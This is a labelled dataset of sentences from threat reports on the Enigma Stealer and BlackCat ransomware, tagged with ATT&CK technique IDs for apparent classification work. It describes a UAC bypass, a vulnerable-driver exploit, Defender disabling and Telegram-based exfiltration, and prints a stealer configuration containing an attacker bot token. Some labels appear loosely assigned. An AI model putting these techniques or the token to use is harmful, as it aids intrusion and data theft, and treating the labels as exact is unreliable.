{"sentence": "Constructing a unique system identifier and creating a mutex It then deletes the HKCU\\SOFTWARE\\Intel registry key and recreates it with two values, HWID and ID, as shown in Figure 13. Figure 13.", "labels": ["T1112"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Recreating HKCU\\SOFTWARE\\Inte It then collects information about the .NET Framework Setup on the infected system and sends it to its C&C server as shown in Figure 14. Figure 14.", "labels": ["T1082"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Constructing first debug message Figure 15.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "An example of the first debug message There are two C&C servers that were used in this attack chain.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The first one ,193[.]56[.]146[.]29, is used to send program execution DEBUG and Telegram to deliver payloads and send commands.", "labels": ["T1095", "T1105"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "To download the next stage payload, the malware first sends a request to the attacker-controlled Telegram channel https://api[.]telegram[.]org/bot{token}/getFile to obtain the file_path.", "labels": ["T1095"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This approach allows the attacker to continuously update and eliminates reliance on fixed file names.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Payload “file_path” request from Telegram Note that in this case, the next stage payload was file_17.pack.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "However, this file and other stage names were changed multiple times during our investigation.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Upon obtaining the file_path, the malware then sends a request to download the next stage binary file (shown in Figure 17) Figure 17.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Payload download request from Telegram Figure 18.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The code responsible for decrypting the next stage payload file_id and Telegram token If the file's download, deobfuscation, and decompression are successful, the malware sends the message \"bot getted\" to the debug server. Figure 19.", "labels": ["T1095", "T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Successful payload retrieval debug message To decompress the payload, the malware uses Microsoft Cabinet's Compressapi with the compression algorithm (\"COMPRESS_RAW | COMPRESS_ALGORITHM_LZMS\").", "labels": ["T1106"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The code snippet in Figure 20 demonstrates how the malware downloads, deobfuscates, and decompresses file_17.pack (UpdateTask.dll).", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Code responsible for downloading, deobfuscating, decompressing, and renaming the downloaded payload Figure 21.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Payload deobfuscation and decompression Before executing the payload, the malware attempts to elevate its privileges by executing the mw_UAC_bypass function, which is part of an open-source project.", "labels": ["T1548.002"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This technique, Calling Local Windows RPC Servers from .NET (which was unveiled in 2019 by Project Zero), allows a user to bypass user account control (UAC) using only two remote procedure call (RPC) requests instead of DLL hijacking.", "labels": ["T1548.002"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 22.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Successful UAC bypass execution debug message", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The malware requires elevated privileges for the subsequent stage payload, which involves loading the malicious driver by exploiting CVE-2015-2291.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Finally, the malware executes an export function called \"Entry\" from UpdateTask.dll via rundll32.exe as shown in Figure 23. Figure 23.", "labels": ["T1218.011"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Running the stage 2 payload through rundll32.exe Stage 2: EngimaDownloader_s002 MD5 SHA-1 SHA-256 File size 377f617ccd4aa09287d5221d5d8e1228 288358deaa053b30596100c9841a7d6d1616908d f1623c2f7c00affa3985cf7b9cdf25e39320700fa9d69f9f9426f03054b4b712 497.50 KB (509440 bytes)", "labels": ["T1218.011"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The second stage payload, UpdatTask.dll, is a dynamic-link library (DLL) written in C++ that comprises two export functions (DllEntryPoint and Entry).", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The malicious code is executed in the Entry export function, which is triggered by the first stage routine.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The primary objective of this malware is to disable Microsoft Defender by deploying a malicious kernel mode driver (“bring your own vulnerable driver” or BYOVD method) via exploiting a vulnerable Intel driver (CVE-2015-2291) and then downloading and executing the third-stage payload.", "labels": ["T1068", "T1562.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Please note that the first, second, and third-stage payloads all obtain the infected system's MachineGuid at the start and use it to identify the machine in debug message network traffic, enabling the adversary to track the infected system's malware execution state.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Upon execution, the malware creates the mutex to mark its presence on the system and retrieves the MachineGuid of the infected system from the \"SOFTWARE\\Microsoft\\Cryptography\\MachineGuid\" registry key.", "labels": ["T1012"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 24.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Constructing a unique system identifier and creating a mutex Next, the malware will determine if it is running as an account with administrator privileges or simply as a regular user using the GetTokenInformation API.", "labels": ["T1033", "T1106"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "If the malware fails to obtain elevated privileges, it will bypass the disablement of Windows Defender and proceed to download and execute the next stage of its attack.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Checking the process privileges If the process successfully obtains elevated privileges, it proceeds to drop the files shown in Figure 26. Figure 26.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 2 embedded binary files Name MD5 SHA-1 SHA-256 iQVW64.SYS (CVE-2015-2291) Vulnerable Intel driver, used for kernel exploitation 1898ceda3247213c084f43637ef163b3 d04e5db5b6c848a29732bfd52029001f23c3da75 4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b Driver.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "SYS Malicious drivers reduce the token integrity of Microsoft defender (MsMpEng.exe) 28ca7a21de60671f3b528a9e08a44e1c 21F1CFD310633863BABAAFE7E5E892AE311B42F6 D5B4C2C95D9610623E681301869B1643E4E2BF0ADCA42EAC5D4D773B024FA442 The malware uses an open-source project called KDMapper to manually map non-signed/self-signed drivers in memory by exploiting the iqvw64e.sys Intel driver.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Testing on this has reportedly been conducted on Windows 10 version 1607 to Windows 11 version 22449.1.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The functions intel_driver::Load() and kdmapper::MapDriver() are both responsible for achieving this task.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The following snippet demonstrates the debug message related to drive loading and installation: Figure 27.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Debug message for loading the driver and providing execution status", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The malware then establishes persistence on the targeted system by creating scheduled tasks. Figure 28.", "labels": ["T1053.005"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Malware persistence is achieved via scheduled tasks (click the image for a larger version)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Finally, the EngimaDownloader_s002 downloads and executes the next-stage payload on the infected system.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "To achieve this task, it employs similar techniques as those used in the first stage — the only difference, in this case, is that the malware is executing a .NET Assembly from C++ in memory using the CLR (Common Language Runtime) hosting technique.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The stage 3 .NET binary is executed via CLR hosting Stage 2.1: Engima Driver analysis Name MD5 SHA-1 SHA-256 Driver.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "SYS 28ca7a21de60671f3b528a9e08a44e1c 21F1CFD310633863BABAAFE7E5E892AE311B42F6 D5B4C2C95D9610623E681301869B1643E4E2BF0ADCA42EAC5D4D773B024FA442 The driver's sole purpose is to patch the integrity level of the Microsoft defender (MsMpEng.exe) and forcibly reduce it from system to untrusted integrity.", "labels": ["T1562.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The reduction of the integrity level to untrusted impedes the process of accessing secure resources on the system for the victim, silently disabling it without terminating the process.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 30.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Microsoft defender token integrity modification before and after executing Enigma Driver The code snippets in Figure 31 demonstrate how the malware performs these operations.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 31.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Integrity level patching Figure 32.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Details of the vulnerable Intel driver binary Figure 33.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Details of the certificate of the vulnerable driver (top) and Enigma Driver (bottom) Stage 3: EngimaDownloader_s003 The following table shows the details of Enigma.Bot.Net.exe.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "MD5 SHA-1 SHA-256 File size 50949ad2b39796411a4c7a88df0696c8 67a502395fc4193721c2cfc39e31be11e124e02c 8dc192914e55cf9f90841098ab0349dbe31825996de99237f35a1aab6d7905bb 10.50 KB (10752 bytes) EngimaDownloader_s003 is a third-stage downloader written in C#.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "It is responsible for downloading, decompressing, and executing the final stealer payload on an infected system.", "labels": ["T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The malware also accepts commands from a Telegram channel, though these commands may vary between variants.", "labels": ["T1095"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "stop alive runassembly Upon launch, the malware sends a \"Bot started\" message to both the Debug server and the Telegram channel, indicating its successful execution. Figure 34.", "labels": ["T1095"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 3 payload initialization", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "It then sends a GET request to https://api[.]telegram[.]org/bot{token}/getUpdates to retrieve the command.", "labels": ["T1095"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Upon receiving the runassembly command, the malware downloads the next part of the final stage payload (file_19.pack), decompresses it using the GZipStream API, and executes it.", "labels": ["T1105", "T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 35.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 3 payload commands Figure 36.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "An example of network communication between EngimaDownloader_s003 and the attacker’s Telegram channel.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 4: Enigma Stealer MD5 SHA-1 SHA-256 File size 4DC2D57D9DB430235B21D7FB735ADF36 98BF3080A85743AB933511D402E94D1BCEE0C545 4D2FB518C9E23C5C70E70095BA3B63580CAFC4B03F7E6DCE2931C54895F13B2C 2954.75 KB (2954752 bytes)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The final stage is the Enigma Stealer which, as we previously mentioned, is a modified version of an open-source information stealer project called Stealerium.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Upon execution, the malware initializes configuration and sets up its working directory. Figure 37.", "labels": ["T1074.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Engima Stealer initialization The malware configuration is as follows: public static string Version = \"0.05.01\"; public static string DebugMode = \"0\"; public static string Mutex = \"6C0560CE-2E75-4BB4-A26E-F08592A1D56D\"; public static string AntiAnalysis = \"0\"; public static string Autorun = \"1\"; public static string StartDelay = \"0\"; public static string WebcamScreenshot = \"1\"; public static string KeyloggerModule = \"0\"; public static string ClipperModule = \"0\"; public static string GrabberModule = \"0\"; public static string TelegramToken = \"5894962737:AAHAFZnz2AkLAyHC0G-7S2je9JMWWLJHGsU\"; public static string TelegramChatID = \"5661436914\"; It then starts to collect system information and steals user information, tokens, and passwords from various web browsers and applications such as Google Chrome, Microsoft Edge, Microsoft Outlook, Telegram, Signal, OpenVPN and others.", "labels": ["T1074.001", "T1078"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "It captures screenshots and extracts clipboard content and VPN configurations.", "labels": ["T1113"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 38.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Enigma Stealer exfiltrating sensitive data", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The collected information is then compressed and exfiltrated to the attacker via Telegram.", "labels": ["T1041"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 39.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "An example of data exfiltrated from the victim’s system Figure 40.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Data upload logic Figure 41 illustrates a sample of the network traffic generated by the malware.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 41.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Network traffic of data upload to the attacker's telegram channel Figure 42.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Enigma Stealer capabilities It's worth mentioning that some strings, such as web browser paths and Geolocation API services URLs, are encrypted with the AES algorithm in cipher-block chaining (CBC) mode.", "labels": ["T1573.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 43.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "String encryption logic List of decrypted strings: \\Chromium\\User Data\\ \\Google\\Chrome\\User Data\\ \\Google(x86)\\Chrome\\User Data\\ \\Opera Software\\ \\MapleStudio\\ChromePlus\\User Data\\ \\Iridium\\User Data\\ 7Star\\7Star\\User Data //CentBrowser\\User", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Data //Chedot\\User", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Data Vivaldi\\User Data Kometa\\User Data Elements Browser\\User Data Epic Privacy Browser\\User Data uCozMedia\\Uran\\User Data Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer CatalinaGroup\\Citrio\\User", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Data Coowon\\Coowon\\User Data liebao\\User Data QIP Surf\\User", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Data Orbitum\\User Data Comodo\\Dragon\\User Data Amigo\\User\\User Data Torch\\User Data Yandex\\YandexBrowser\\User Data Comodo\\User Data 360Browser\\Browser\\User Data Maxthon3\\User Data K-Melon\\User Data CocCoc\\Browser\\User Data BraveSoftware\\Brave-Browser\\User Data Microsoft\\Edge\\User Data http://ip-api.com/line/?fields=hosting https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid= https://discordapp.com/api/v6/users/@me Conclusion Similar to previous campaigns involving groups such as Lazarus, this campaign demonstrates a persistent and lucrative attack vector for various advanced persistent threat (APT) groups and threat actors.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Through the use of employment lures, these actors can target individuals and organizations across the cryptocurrency and Web 3 sphere.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Furthermore, this case highlights the evolving nature of modular malware that employ highly obfuscated and evasive techniques along with the utilization of continuous integration and continuous delivery (CI/CD) principles for continuous malware development.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Organizations can protect themselves by remaining vigilant against phishing attacks.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Furthermore, individuals are advised to remain cautious of social media posts or phishing attempts that offer job opportunities unless they are sure of their legitimacy.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Due to current economic conditions, threat actors can be expected to continue to heavily deploy employment lures to target those seeking employment.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Meanwhile, organizations should also consider cutting edge multilayered defensive strategy and comprehensive security solutions such as Trend Micro:trade_mark: XDR that can detect, scan, and block malicious URLs across the modern threat landscape. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The indicators of compromise for this entry can be found here.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Authors Aliakbar Zahravi Staff Researcher Peter Girnus Sr. Threat Researcher", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Tactic;Technique;Description TA0001 Initial Access;T1190 Exploit Public-Facing Application;In a number of attacks, the threat actors used ProxyShell vulnerablilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207). ;T1133 External Remote Services;As an initial attack vector, insecure RDP and VPNs may be used. ;T1078 Valid Accounts;BlackCat affiliates may purchase access to their victim’s network infrastructure on underground forums.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "TA0002 Execution;T1106 Native API;BlackCat ransomware uses Native API. ;", "labels": ["T1106"], "doc_title": "Fat Cats"}
{"sentence": "T1053 Scheduled Task/Job;When deploying ransomware in the victim’s network infrastructure, BlackCat affiliates may exploit group policies, which results in a scheduled task being created (on each host) that launches the ransomware. ;T1059.001 Command and Scripting Interpreter:", "labels": ["T1053.005"], "doc_title": "Fat Cats"}
{"sentence": "PowerShell;The attackers may use PowerShell scripts when deploying ransomware in the victim’s network, disabling security tools, and encrypting files. ;T1059.003", "labels": ["T1562.001"], "doc_title": "Fat Cats"}
{"sentence": "Windows Command Shell;For stopping IIS, deleting Volume Shadow Copies, disabling recovery, clearing Windows event logs, etc., the BlackCat ransomware uses the command shell to run appropriate commands.", "labels": ["T1059.003"], "doc_title": "Fat Cats"}
{"sentence": ";T1047 Windows Management", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Instrumentation;The attackers may use wmic to obtain information and run various commands, including to delete Volume Shadow Copies.", "labels": ["T1047"], "doc_title": "Fat Cats"}
{"sentence": "They may also use the wmiexec module from Impacket to execute commands and move across the network. ;T1569.002 System Services: Service Execution;The BlackCat ranswomare for Windows can self-propagate in the local area network using the legitimate PsExec utility (contained in its body), which creates a temporary system service.", "labels": ["T1047", "T1569.002"], "doc_title": "Fat Cats"}
{"sentence": "TA0003 Persistence;T1505 Server Software Component;Successfully exploiting ProxyShell vulnerabilities enabled the attackers to place a web shell on a vulnerable Microsoft Exchange server. ;T1078 Valid Accounts;Legitimate accounts obtained by the attackers can be used to ensure persistence in the compromised infrastructure.", "labels": ["T1078"], "doc_title": "Fat Cats"}
{"sentence": "TA0004 Privilege Escalation;T1078 Valid Accounts;To escalate privileges, BlackCat may use stolen legitimate accounts specified in the configuration data. ;T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control;To bypass UAC, BlackCat ransomware may escalate privileges using the ICMLuaUtil COM interface, as well as use the Masquerade PEB method. ;T1134.002 Access Token Manipulation: Create Process with Token;To escalate privileges, the BlackCat ransomware can launch its process using stolen authentication data and the function CreateProcessWithLogonW. TA0005 Defense Evasion;T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control;The attackers may bypass UAC using the ICMLuaUtil COM interface, as well as use the Masquerade PEB method. ;T1140 Deobfuscate/Decode Files or Information;BlackCat decrypts configuration data as well as decrypts and unpacks the legitimate PsExec utility and an additional BAT file contained in the body of the ransomware. ;T1027 Obfuscated Files or Information;BlackCat ransomware uses obfuscation.", "labels": ["T1027", "T1059.003", "T1078", "T1106", "T1140", "T1548.002"], "doc_title": "Fat Cats"}
{"sentence": ";T1562.001 Impair Defenses: Disable or Modify Tools;To prevent being detected, the attackers end processes and services related to security and antivirus software. ;T1497 Virtualization/Sandbox Evasion;To counter analysis (including in a sandbox), ALPHV MORPH checks the value of the command line parameter access-token.", "labels": ["T1562.001"], "doc_title": "Fat Cats"}
{"sentence": "Its value must contain correct first 16 characters used to decrypt BlackCat configuration data.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": ";T1070.001 Indicator Removal on Host: Clear Windows Event Logs;By using wevtutil, BlackCat can clear all Windows event logs on a compromised host. ;", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "T1036 Masquerading;The attackers use a SoftPerfect Network Scanner executable renamed to svchost.exe. ;T1112 Modify Registry;To propagate, BlackCat uses PsExec to modify the system registry parameter MaxMpxCt to increase the number of failed network requests for each client.", "labels": ["T1036.005", "T1112"], "doc_title": "Fat Cats"}
{"sentence": "TA0006 Credential Access;T1003.001 OS Credential Dumping: LSASS Memory;To obtain authentication data, the attackers may dump the LSASS process using legitimate tools (procdump, comsvcs.dll).", "labels": ["T1003.001"], "doc_title": "Fat Cats"}
{"sentence": ";T1552 Unsecured Credentials;To obtain authentication data from the registry and files, the attackers may use NirSoft utilities.", "labels": ["T1552.001"], "doc_title": "Fat Cats"}
{"sentence": ";T1555 Credentials from Password Stores;To extract authentication data from web browsers and other storage spaces the attackers may use NirSoft utilities.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "TA0007 Discovery;T1018", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Remote System Discovery;To enumerate domain hosts, the attackers used the ADRecon tool. ;T1069.002 Permission Groups Discovery: Local Groups;To obtain information about local and domain user groups, the attackers used the ADRecon tool. ;T1069.002 Permission Groups Discovery: Local Groups; ;T1069.002 Permission Groups Discovery: Domain Groups; ;T1087.001 Account Discovery: Local Account;To obtain information about local and domain accounts, the attackers used the ADRecon tool.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": ";T1087.002 Account Discovery: Domain Account; ;T1482 Domain Trust Discovery;To obtain information about domain trust, the attackers used the ADRecon tool. ;T1046 Network Service Scanning;To scan the target network, the attackers use the open-source utility SoftPerfect Network Scanner. ;T1135 Network Share Discovery;To search for network shares, the attackers use the open-source utility SoftPerfect Network Scanner. ;T1016 System Network Configuration Discovery;For network reconnaissance, the attackers use the open-source utility SoftPerfect Network Scanner. ;T1082 System Information Discovery;BlackCat uses wmic to obtain the UUID of the compromised host.", "labels": ["T1047", "T1082"], "doc_title": "Fat Cats"}
{"sentence": ";T1057 Process Discovery;BlackMatter enumerates all running processes to search for ones relating to security, backups, databases, email systems, office programs, etc. ;T1007 System Service Discovery;BlackCat enumerates system services to search for ones relating to security, backups, and databases. ;T1083 File and Directory Discovery;The attackers enumerate drives, directories, and files to search for sensitive information for exfiltration purposes.", "labels": ["T1005", "T1057", "T1083", "T1518.001"], "doc_title": "Fat Cats"}
{"sentence": "TA0008 Lateral Movement;T1021.001 Remote Services:", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Remote Desktop Protocol;The attackers may use RDP to move across the network. ;T1021.002 Remote Services: SMB/Windows Admin Shares;After obtaining privileged authentication data, in order to spread over the local area network and access network resources, the attackers may use the PsExec utility, as well as the psexec, wmiexec and smbexec modules from Impacket. ;T1021.004 Remote Services: SSH;To access parts of the infrastructure running on Linux, the attackers use the PuTTY utility. ;T1570 Lateral Tool Transfer;Moving across the victim’s network and deploying ransomware involves copying related tools to the host.", "labels": ["T1021.001", "T1570"], "doc_title": "Fat Cats"}
{"sentence": "The BlackCat ransomware can self-propagate in the network by using the legitimate PsExec utility contained in its body.", "labels": ["T1570"], "doc_title": "Fat Cats"}
{"sentence": "TA0009 Collection;T1560.001 Archive Collected Data: Archive via Utility;Before being exfiltrated, data may be put in archives using 7-Zip. ;T1005 Data from Local System;The attackers collect information from the local system for exfiltration purposes. ;T1039", "labels": ["T1005"], "doc_title": "Fat Cats"}
{"sentence": "Data from Network Shared Drive;The attackers collect information from available network resources for exfiltration purposes. ;T1074 Data Staged;Before exfiltration, the attackers may put collected data in 7Zip archives. ;T1119 Automated collection;The attackers use ExMatter, a tool for automated collection of sensitive information.", "labels": ["T1074.001"], "doc_title": "Fat Cats"}
{"sentence": "TA0011 Command and Control;T1071 Application Layer Protocol;Remote access tools used by the attackers may use application layer protocols (HTTP, HTTPS, DNS). ;T1105", "labels": ["T1071.001"], "doc_title": "Fat Cats"}
{"sentence": "Ingress Tool Transfer;After gaining initial access, the attackers copy tools necessary for deployment to the compromised host. ;", "labels": ["T1105"], "doc_title": "Fat Cats"}
{"sentence": "T1572", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Protocol Tunneling;To access the compromised system, the attackers may use tunnels built using ngrok or gost. ;T1573 Encrypted Channel;To remotely access the compromised infrastructure, the attackers may use Cobalt Strike, TeamViewer and ScreenConnect, which perform asymmetric/symmetric encryption of the C&C server communication channel. ;", "labels": ["T1219", "T1573.001"], "doc_title": "Fat Cats"}
{"sentence": "T1219", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Remote Access Software;To remotely access the compromised infrastructure, the attackers may use the legitimate tools TeamViewer and ScreenConnect.", "labels": ["T1219"], "doc_title": "Fat Cats"}
{"sentence": "TA0010 Exfiltration;T1041 Exfiltration", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Over C2 Channel;When the attackers use Cobalt Strike, the collected information may be sent via Cobalt Strike server communication channels. ;T1048.002 Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol;The attackers may use the ExMatter exfiltration tool, which sends stolen data to SFTP and WebDav resources specified in the ExMatter configuration. ;T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage;The attackers use the Rclone synchronization utility to upload stolen data to the legitimate cloud storage service MEGA. ;T1020 Automated Exfiltration;After access has been gained, files from target hosts are automatically uploaded to the legitimate cloud storage service MEGA using the Rclone utility.", "labels": ["T1041"], "doc_title": "Fat Cats"}
{"sentence": ";T1030 Data Transfer Size Limits;To prevent exceeding the size limits of the data being sent and triggering security controls, the stolen data may be sent in fixed-size blocks.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "TA0040 Impact;T1486Data", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "Encrypted for Impact ;BlackCat encrypts the contents of files in the local system as well as on available network resources. ;T1489 Service Stop;BlackCat stops security, backup, database, email and other services specified in the configuration. ;T1490 Inhibit System Recovery;BlackCat deletes Windows Volume Shadow Copies using vssadmin and wmic, disables recovery in the Windows boot menu using bccedit, and empties Recycle Bin.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "BlackCat can stop backup services.", "labels": [], "doc_title": "Fat Cats"}
{"sentence": "BlackCat can destroy virtual machine snapshots.", "labels": [], "doc_title": "Fat Cats"}
